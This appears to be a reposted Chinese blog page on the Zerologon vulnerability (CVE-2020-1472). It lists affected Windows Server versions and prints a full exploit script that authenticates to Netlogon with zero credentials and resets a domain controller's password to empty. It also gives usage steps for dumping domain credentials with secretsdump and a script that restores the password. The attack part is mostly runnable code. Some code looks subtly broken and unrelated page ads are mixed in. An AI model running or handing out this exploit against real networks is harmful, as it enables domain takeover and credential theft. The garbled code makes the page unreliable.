CVE-2020-1472-poc-exp​

CVE-2020-1472-poc-exp​

“上个月,microsoft修复了一个非常有趣的漏洞,该漏洞使在您内部网络中立足的攻击者基本上可以一键成为domain admin。从攻击者的角度来看,所需要做的只是连接到域控制器”

漏洞背景

Secura的安全专家Tom Tervoort以前曾在去年发现一个不太严重的Netlogon漏洞,该漏洞使工作站可以被接管,但攻击者需要一个中间人(PitM)才能正常工作。现在,他在协议中发现了第二个更为严重的漏洞(CVSS分数:10.0)。通过伪造用于特定Netlogon功能的身份验证令牌,他能够调用一个功能以将域控制器的计算机密码设置为已知值。之后,攻击者可以使用此新密码来控制域控制器并窃取域管理员的凭据。

该漏洞源于Netlogon远程协议所使用的加密身份验证方案中的一个缺陷,该缺陷可用于更新计算机密码。此缺陷使攻击者可以模拟任何计算机,包括域控制器本身,并代表他们执行远程过程调用。

漏洞简介

NetLogon组件 是 Windows 上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,同时还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。

当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的 Netlogon 安全通道时,存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。

受影响的版本

· Windows Server 2008 R2 for x64-based Systems Service Pack 1

· Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

· Windows Server 2012

· Windows Server 2012 (Server Core installation)

· Windows Server 2012 R2

· Windows Server 2012 R2 (Server Core installation)

· Windows Server 2016

· Windows Server 2016 (Server Core installation)

· Windows Server 2019

· Windows Server 2019 (Server Core installation)

· Windows Server, version 1903 (Server Core installation)

· Windows Server, version 1909 (Server Core installation)

2020圣诞节倒计时页面动画特效 2020圣诞节倒计时页面动画特效

2020圣诞节倒计时页面动画特效 206 查看详情 2020圣诞节倒计时页面动画特效

· Windows Server, version 2004 (Server Core installation)

攻击示例:

CVE-2020-1472-poc-exp​

使用方法

· 使用IP和DC的netbios名称运行cve-2020-1472-exploit.py

· DCsec与secretsdump,使用-just-dc-no-pass或空哈希以及DCHOSTNAME$帐户

cve-2020-1472-exploit.py代码语言:javascript代码运行次数:0运行复制

#!/usr/bin/env python3from impacket.dcerpc.v5 import nrpc, epmfrom impacket.dcerpc.v5.dtypes import NULLfrom impacket.dcerpc.v5 import transportfrom impacket import cryptoimport hmac, hashlib, struct, sys, socket, timefrom binascii import hexlify, unhexlifyfrom subprocess import check_call# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.MAX_ATTEMPTS = 2000 # False negative chance: 0.04%def fail(msg):  print(msg, file=sys.stderr)  print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)  sys.exit(2)def try_zero_authenticate(dc_handle, dc_ip, target_computer):  # Connect to the DC's Netlogon service.  binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')  rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()  rpc_con.connect()  rpc_con.bind(nrpc.MSRPC_UUID_NRPC)  # Use an all-zero challenge and credential.  plaintext = b'' * 8  ciphertext = b'' * 8  # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.  flags = 0x212fffff  # Send challenge and authentication request.  nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '', target_computer + '', plaintext)  try:    server_auth = nrpc.hNetrServerAuthenticate3(      rpc_con, dc_handle + '', target_computer + '$', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,      target_computer + '', ciphertext, flags    )    # It worked!    assert server_auth['ErrorCode'] == 0    return rpc_con  except nrpc.DCERPCSessionError as ex:    # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.    if ex.get_error_code() == 0xc0000022:      return None    else:      fail(f'Unexpected error code from DC: {ex.get_error_code()}.')  except BaseException as ex:    fail(f'Unexpected error: {ex}.')def exploit(dc_handle, rpc_con, target_computer):    request = nrpc.NetrServerPasswordSet2()    request['PrimaryName'] = dc_handle + ''    request['AccountName'] = target_computer + '$'    request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel    authenticator = nrpc.NETLOGON_AUTHENTICATOR()    authenticator['Credential'] = b'' * 8    authenticator['Timestamp'] = 0    request['Authenticator'] = authenticator    request['ComputerName'] = target_computer + ''    request['ClearNewPassword'] = b'' * 516    return rpc_con.request(request)def perform_attack(dc_handle, dc_ip, target_computer):  # Keep authenticating until succesfull. Expected average number of attempts needed: 256.  print('Performing authentication attempts...')  rpc_con = None  for attempt in range(0, MAX_ATTEMPTS):    rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)    if rpc_con == None:      print('=', end='', flush=True)    else:      break  if rpc_con:    print('Target vulnerable, changing account password to empty string')    result = exploit(dc_handle, rpc_con, target_computer)    print('Result: ', end='')    print(result['ErrorCode'])    if result['ErrorCode'] == 0:        print('Exploit complete!')    else:        print('Non-zero return code, something went wrong?')  else:    print('Attack failed. Target is probably patched.')    sys.exit(1)if __name__ == '__main__':  if not (3 <= len(sys.argv) <= 4):    print('Usage: zerologon_tester.py  ')    print('Tests whether a domain controller is vulnerable to the Zerologon attack. Resets the DC account password to an empty string when vulnerable.')    print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')    sys.exit(1)  else:    [_, dc_name, dc_ip] = sys.argv    dc_name = dc_name.rstrip('$')    perform_attack('\' + dc_name, dc_ip, dc_name)

请注意:

默认情况下,这会更改域控制器帐户的密码。是的,这允许您进行DCSync,但同时也会中断与其他域控制器的通信,因此请当心!

恢复步骤:

如果您确保secretsdump 中的这一行通过(if True:例如使它通过),secretsdump还将从注册表中转储纯文本(十六进制编码)计算机帐户密码。您可以通过在同一DC上运行它并使用DA帐户来执行此操作。

或者,您可以通过首先解压缩注册表配置单元然后脱机运行secretsdump来转储相同的密码(然后它将始终打印明文密钥,因为它无法计算Kerberos哈希,这省去了修改库的麻烦)。

使用此密码,您可以restorepassword.py使用-hexpass参数运行。这将首先使用空密码向同一DC进行身份验证,然后将密码重新设置为原始密码。确保再次提供netbios名称和IP作为目标,例如:

代码语言:javascript代码运行次数:0运行复制

python restorepassword.py testsegment/s2016dc@s2016dc -target-ip 192.168.222.113 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3...etc

restorepassword.py

代码语言:javascript代码运行次数:0运行复制

#!/usr/bin/env python# By @_dirkjan# Uses impacket by SecureAuth Corp# Based on work by Tom Tervoort (Secura)import sysimport loggingimport argparseimport codecsfrom impacket.examples import loggerfrom impacket import versionfrom impacket.dcerpc.v5.nrpc import NetrServerPasswordSet2Response, NetrServerPasswordSet2from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWEDfrom impacket.dcerpc.v5.rpcrt import DCERPCExceptionfrom impacket.dcerpc.v5.dtypes import NULLfrom impacket.dcerpc.v5 import transportfrom impacket.dcerpc.v5 import epm, nrpcfrom Cryptodome.Cipher import AESfrom binascii import unhexlifyfrom struct import pack, unpackclass ChangeMachinePassword:    KNOWN_PROTOCOLS = {        135: {'bindstr': r'ncacn_ip_tcp:%s',           'set_host': False},        139: {'bindstr': r'ncacn_np:%s[PIPEetlogon]', 'set_host': True},        445: {'bindstr': r'ncacn_np:%s[PIPEetlogon]', 'set_host': True},        }    def __init__(self, username='', password='', domain='', port = None,                 hashes = None, domain_sids = False, maxRid=4000):        self.__username = username        self.__password = password        self.__port = port        self.__maxRid = int(maxRid)        self.__domain = domain        self.__lmhash = ''        self.__nthash = ''        self.__domain_sids = domain_sids        if hashes is not None:            self.__lmhash, self.__nthash = hashes.split(':')    def dump(self, remoteName, remoteHost):        stringbinding = epm.hept_map(remoteName, nrpc.MSRPC_UUID_NRPC, protocol = 'ncacn_ip_tcp')        logging.info('StringBinding %s'%stringbinding)        rpctransport = transport.DCERPCTransportFactory(stringbinding)        dce = rpctransport.get_dce_rpc()        dce.connect()        dce.bind(nrpc.MSRPC_UUID_NRPC)        resp = nrpc.hNetrServerReqChallenge(dce, NULL, remoteName + '', b'12345678')        serverChallenge = resp['ServerChallenge']        ntHash = unhexlify(self.__nthash)        # Empty at this point        self.sessionKey = nrpc.ComputeSessionKeyAES('', b'12345678', serverChallenge)        self.ppp = nrpc.ComputeNetlogonCredentialAES(b'12345678', self.sessionKey)        try:            resp = nrpc.hNetrServerAuthenticate3(dce, '\' + remoteName + '', self.__username + '$', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,remoteName + '',self.ppp, 0x212fffff )        except Exception as e:            if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0:                raise        self.clientStoredCredential = pack('<Q', unpack('<Q',self.ppp)[0] + 10)        request = NetrServerPasswordSet2()        request['PrimaryName'] = '\' + remoteName + ''        request['AccountName'] = remoteName + '$'        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel        request['Authenticator'] = self.update_authenticator()        request['ComputerName'] = remoteName + ''        encpassword = nrpc.ComputeNetlogonCredentialAES(self.__password, self.sessionKey)        indata = b'' * (512-len(self.__password)) + self.__password + pack('<L', len(self.__password))        request['ClearNewPassword'] = nrpc.ComputeNetlogonCredentialAES(indata, self.sessionKey)        result = dce.request(request)        print('Change password OK')    def update_authenticator(self, plus=10):        authenticator = nrpc.NETLOGON_AUTHENTICATOR()        authenticator['Credential'] = nrpc.ComputeNetlogonCredentialAES(self.clientStoredCredential, self.sessionKey)        authenticator['Timestamp'] = plus        return authenticator# Process command-line arguments.if __name__ == '__main__':    # Init the example's logger theme    logger.init()    # Explicitly changing the stdout encoding format    if sys.stdout.encoding is None:        # Output is redirected to a file        sys.stdout = codecs.getwriter('utf8')(sys.stdout)    print(version.BANNER)    parser = argparse.ArgumentParser()    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]')    group = parser.add_argument_group('connection')    group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. '                       'If omitted it will use whatever was specified as target. This is useful when target is the '                       'NetBIOS name and you cannot resolve it')    group.add_argument('-port', choices=['135', '139', '445'], nargs='?', default='445', metavar="destination port",                       help='Destination port to connect to SMB Server')    group.add_argument('-domain-sids', action='store_true', help='Enumerate Domain SIDs (will likely forward requests to the DC)')    group = parser.add_argument_group('authentication')    group.add_argument('-hexpass', action="store", help='Hex encoded plaintext password')    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')    group.add_argument('-no-pass', action="store_true", help='don't ask for password (useful when proxying through smbrelayx)')    if len(sys.argv)==1:        parser.print_help()        sys.exit(1)    options = parser.parse_args()    import re    domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(        options.target).groups('')    #In case the password contains '@'    if '@' in remoteName:        password = password + '@' + remoteName.rpartition('@')[0]        remoteName = remoteName.rpartition('@')[2]    if domain is None:        domain = ''    if password == '' and options.hexpass != '':        password = unhexlify(options.hexpass)    if password == '' and username != '' and options.hashes is None and options.no_pass is False:        from getpass import getpass        password = getpass("Password:")    if options.target_ip is None:        options.target_ip = remoteName    action = ChangeMachinePassword(username, password, domain, int(options.port), options.hashes, options.domain_sids)    action.dump(remoteName, options.target_ip)

Github项目地址:

https://github.com/dirkjanm/CVE-2020-1472

参考:

https://www.freebuf.com/articles/system/249860.html

https://www.ddosi.com/b393/

为了安全请将工具放在虚拟机运行!

作者不易!请点一下关注再走吧!

此文章仅供学习参考,不得用于违法犯罪!

以上就是CVE-2020-1472-poc-exp​的详细内容,更多请关注创想鸟其它相关文章!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/321080.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
opporeno14隐藏功能一览_opporeno有哪些独特功能
上一篇 2025年11月5日 09:49:53
世界第一!我国IPv6活跃用户数达8.65亿
下一篇 2025年11月5日 09:49:54

相关推荐

  • 修复Django电商项目中AJAX过滤产品列表图片不显示问题

    在Django电商项目中,当使用AJAX动态加载过滤后的产品列表时,常遇到图片无法正常显示的问题。这通常是由于前端模板中图片加载方式(如data-setbg属性结合JavaScript库)与AJAX动态内容更新机制不兼容所致。解决方案是直接在AJAX返回的HTML中使用标准的标签来渲染图片,确保浏览…

    2026年5月10日
    000
  • Matplotlib 地图中多类型图例的创建与优化

    Matplotlib 地图中多类型图例的创建与优化Matplotlib 地图中多类型图例的创建与优化Matplotlib 地图中多类型图例的创建与优化Matplotlib 地图中多类型图例的创建与优化

    本教程旨在解决matplotlib地图可视化中,如何在一个图例中同时展示颜色块(如区域分类)和自定义标记(如特定兴趣点)的问题。文章详细介绍了当传统`patch`对象无法正确显示标记时,如何利用`matplotlib.lines.line2d`创建标记图例句柄,并将其与颜色块图例句柄合并,从而生成一…

    2026年5月10日 用户投稿
    100
  • Golang JSON序列化:控制敏感字段暴露的最佳实践

    本教程探讨golang中如何高效控制结构体字段在json序列化时的可见性。当需要将包含敏感信息的结构体数组转换为json响应时,通过利用`encoding/json`包提供的结构体标签,特别是`json:”-“`,可以轻松实现对特定字段的忽略,从而避免敏感数据泄露,确保api…

    2026年5月10日
    000
  • 利用海象运算符简化条件赋值:Python教程与最佳实践

    本文旨在探讨Python中海象运算符(:=)在条件赋值场景下的应用。通过对比传统if/else语句与海象运算符,以及条件表达式,分析海象运算符在简化代码、提高可读性方面的优势与局限性。并通过具体示例,展示如何在列表推导式等场景下合理使用海象运算符,同时强调其潜在的复杂性及替代方案,帮助开发者更好地掌…

    2026年5月10日
    100
  • 怎么在PHP代码中实现图片上传功能_PHP图片上传功能实现与安全处理教程

    首先创建含enctype的HTML表单,再用PHP接收文件,检查目录、移动临时文件,验证类型与大小,生成唯一文件名,并调整php.ini限制以确保上传成功。 如果您尝试在PHP项目中添加图片上传功能,但服务器无法正确接收或保存文件,则可能是由于表单配置、文件处理逻辑或安全限制的问题。以下是实现该功能…

    2026年5月10日
    100
  • Golang gRPC流式请求异常处理

    在Golang的gRPC流式通信中,必须通过context.Context处理异常。应监听上下文取消或超时,及时释放资源,设置合理超时,避免连接长时间挂起,并在goroutine中通过context控制生命周期。 在使用 Golang 和 gRPC 实现流式通信时,异常处理是确保服务健壮性的关键部分…

    2026年5月10日
    000
  • Go语言mgo查询构建:深入理解bson.M与日期范围查询的正确实践

    本文旨在解决go语言mgo库中构建复杂查询时,特别是涉及嵌套`bson.m`和日期范围筛选的常见错误。我们将深入剖析`bson.m`的类型特性,解释为何直接索引`interface{}`会导致“invalid operation”错误,并提供一种推荐的、结构清晰的代码重构方案,以确保查询条件能够正确…

    2026年5月10日
    100
  • vscode上怎么运行html_vscode上运行html步骤【指南】

    首先保存文件为.html格式,再通过浏览器或Live Server插件打开预览;推荐安装Live Server实现本地服务器运行与实时刷新,提升开发体验。 在 VS Code 上运行 HTML 文件并不需要复杂的配置,只需几个简单步骤即可预览页面效果。VS Code 本身是一个代码编辑器,不直接运行…

    2026年5月10日
    100
  • RichHandler与Rich Progress集成:解决显示冲突的教程

    在使用rich库的`richhandler`进行日志输出并同时使用`progress`组件时,可能会遇到显示错乱或溢出问题。这通常是由于为`richhandler`和`progress`分别创建了独立的`console`实例导致的。解决方案是确保日志处理器和进度条组件共享同一个`console`实例…

    2026年5月10日
    000
  • 修复点击时按钮抖动:CSS垂直对齐实践

    本文探讨了在Web开发中,交互式按钮(如播放/暂停按钮)在点击时发生意外垂直位移的问题。通过分析CSS样式变化对元素布局的影响,我们发现这是由于按钮不同状态下的边框样式和内边距改变,以及默认的垂直对齐行为共同作用所致。核心解决方案是利用CSS的vertical-align属性,将其设置为middle…

    2026年5月10日
    100
  • Golang goroutine与channel调试技巧

    使用go run -race检测数据竞争,结合runtime.NumGoroutine监控协程数量,通过pprof分析阻塞调用栈,利用select超时避免永久阻塞,有效排查goroutine泄漏、死锁和数据竞争问题。 Go语言的goroutine和channel是并发编程的核心,但它们也带来了调试上…

    2026年5月10日
    000
  • 《魔兽世界》将于6月11日开启国服回归技术测试

    《魔兽世界》将于6月11日开启国服回归技术测试《魔兽世界》将于6月11日开启国服回归技术测试《魔兽世界》将于6月11日开启国服回归技术测试《魔兽世界》将于6月11日开启国服回归技术测试

    《%ign%ignore_a_1%re_a_1%》官方宣布,将于6月11日开启国服回归技术测试,时间为7天,并称可以在6月内正式开服,玩家们可以访问官网下载战网客户端并预下载“巫妖王之怒”客户端,技术测试详情见下图。 WordAi WordAI是一个AI驱动的内容重写平台 53 查看详情 以上就是《…

    2026年5月10日 用户投稿
    200
  • 使用 Jupyter Notebook 进行探索性数据分析

    Jupyter Notebook通过单元格实现代码与Markdown结合,支持数据导入(pandas)、清洗(fillna)、探索(matplotlib/seaborn可视化)、统计分析(describe/corr)和特征工程,便于记录与分享分析过程。 Jupyter Notebook 是进行探索性…

    2026年5月10日
    000
  • 如何在HTML中插入表单元素_HTML表单控件与输入类型使用指南

    HTML表单通过标签构建,包含action和method属性定义数据提交目标与方式,常用input类型如text、password、email等适配不同输入需求,配合label、required、placeholder提升可用性,结合textarea、select、button等控件实现完整交互,是…

    2026年5月10日
    100
  • 前端缓存策略与JavaScript存储管理

    根据数据特性选择合适的存储方式并制定清晰的读写与清理逻辑,能显著提升前端性能;合理运用Cookie、localStorage、sessionStorage、IndexedDB及Cache API,结合缓存策略与定期清理机制,可在保证用户体验的同时避免安全与性能隐患。 前端缓存和JavaScript存…

    2026年5月10日
    200
  • HTML5网页如何实现手势操作 HTML5网页移动端交互的处理技巧

    首先利用原生touch事件实现滑动判断,再通过preventDefault解决滚动冲突,接着引入Hammer.js处理复杂手势,最后通过优化点击区域、避免事件冲突和增加视觉反馈提升体验。 在移动端浏览器中,HTML5网页可以通过触摸事件实现手势操作,提升用户体验。虽然原生JavaScript提供了基…

    2026年5月10日
    000
  • 创建指定大小并填充特定数据的Golang文件教程

    本文将介绍如何使用Golang创建一个指定大小的文件,并用特定数据填充它。我们将使用 `os` 包提供的函数来创建和截断文件,从而实现快速生成大文件的目的。示例代码展示了如何创建一个10MB的文件,并将其填充为全零数据。掌握这些方法,可以方便地在例如日志系统或磁盘队列等场景中,预先创建测试文件或初始…

    2026年5月10日
    000
  • Python命令怎样使用profile分析脚本性能 Python命令性能分析的基础教程

    使用Python的cProfile模块分析脚本性能最直接的方式是通过命令行执行python -m cProfile your_script.py,它会输出每个函数的调用次数、总耗时、累积耗时等关键指标,帮助定位性能瓶颈;为进一步分析,可将结果保存为文件python -m cProfile -o ou…

    2026年5月10日
    000
  • Python递归函数追踪与性能考量:以序列打印为例

    本文深入探讨了Python中一种递归打印序列元素的方法,并着重演示了如何通过引入缩进参数来有效追踪递归函数的执行流程和参数变化。通过实际代码示例,文章揭示了递归调用可能带来的潜在性能开销,特别是对调用栈空间的需求,以及Python默认递归深度限制可能导致的错误,为读者提供了理解和优化递归算法的实用见…

    2026年5月10日
    000
  • python中zip函数详解 python多序列压缩zip函数应用场景

    zip函数的应用场景包括:1) 同时遍历多个序列,2) 合并多个列表的数据,3) 数据分析和科学计算中的元素运算,4) 处理csv文件,5) 性能优化。zip函数是一个强大的工具,能够简化代码并提高处理多个序列时的效率。 在Python中,zip函数是一个非常有用的工具,它能够将多个可迭代对象打包成…

    2026年5月10日
    000

发表回复

登录后才能评论
关注微信